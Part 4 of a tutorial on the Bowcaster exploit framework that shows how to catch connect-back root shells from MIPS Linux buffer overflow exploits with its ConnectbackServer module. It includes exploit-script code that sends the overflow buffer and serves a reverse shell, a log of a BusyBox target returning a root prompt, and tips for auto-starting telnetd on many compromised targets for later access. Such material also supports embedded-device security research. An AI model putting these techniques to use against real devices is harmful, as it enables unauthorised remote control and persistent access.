In part 1 of the Bowcaster tutorial I showed how to generate an overflow string with the OverflowBuffer class. In part 2, I showed how to populate your your overflow string with ROP gadgets. In part 3, I showed how to add Bowcaster’s connect-back payload for MIPS Linux to your overflow string. I also showed how to encode your payload using Bowcaster’s MIPS Linux-specific XOR encoder in order to sanitize restricted bytes.
Part 3 ended by using a netcat listener to serve a connect-back root shell. In this part I’ll show how to use one of Bowcaster’s server modules to replace netcat.
Bowcaster provides a couple of server modules to receive connections from connect-back payloads. The one we’re interested in for this tutorial is imaginatively called ConnectbackServer.
Import it into your exploit code like so:
from bowcaster.servers.connectback_server import ConnectbackServer
In part 3, we create a payload object by first creating a ConnectbackHost object and passing it to ConnectbackPayload(). Creating the server works the same way. Using the same host for both payload and server ensure the payload connects back to the right IP address and port.
connectback_host=ConnectbackHost(CALLBACK_IP) #default port is 8080 connectback_server=ConnectbackServer(connectback_host,startcmd="/bin/sh -i") payload=ConnectbackPayload(connectback_host,LittleEndian) #create string section from payload.shellcode, #and instantiate buffer overflow #See part 3.
The ConnectBack server class provides some features that you don’t get with a simple netcat listener. First, it gives you the ability to automatically execute a command on the target upon connection. More on this in a bit.
More importantly, by forking into the background and operating asynchronously, ConnectbackServer gives you the ability to serve a connection right from your exploit script rather than having to fire up a listener in a separate session. For example:
#Start server connectback_server.serve_connectback() #Throw exploit sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((addr,port)) print("sending exploit.") sock.send(str(buf)) sock.close() #Wait for connect-back server to finish up. connectback_server.wait()
Here it is in action:
zach@zolan:~/code/bowcaster/doc/examples (0) $ ./overflow_example_1.py 192.168.1.1 9999 [@] bad char count: 4 [@] No bad bytes in decoder stub. [@] length of encoded shellcode, including stub is: 304 [@] Length of overflow: 1300 Listening on port 8080 Waiting for incoming connection. sending exploit. Target has phoned home. BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. # cat /proc/version cat /proc/version Linux version 2.6.22 (firstname.lastname@example.org) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011 #
Like I mentioned above, the ConnectbackServer class takes an optional ‘startcmd‘ argument to its constructor. This is useful in a few ways. First, I like to use /bin/sh -i just because it looks nicer to have that familiar root ‘#’. But you may want to issue a command to restart the exploited service, that way your target is automatically prepped for re-exploitation.
But, there’s another optional argument to ConnectbackServer that, when combined with startcmd, is pretty cool. You can optionally specify connectback_shell=False. If you do this, then ConnectbackServer will not provide an interactive shell. Instead it will send the start command if you provided one, and then immediately close the connection. Why is this useful? Say you wanted to exploit a list of ten targets and have them automatically prepped for interactive login whenever you’re ready. You could do:
By specifying startcmd=‘/bin/telnetd’ and connectback_shell=False, you could have the target await your login via telnet at your convenience.
I hope this is useful. Be sure to send me screenshots of some of your root prompts.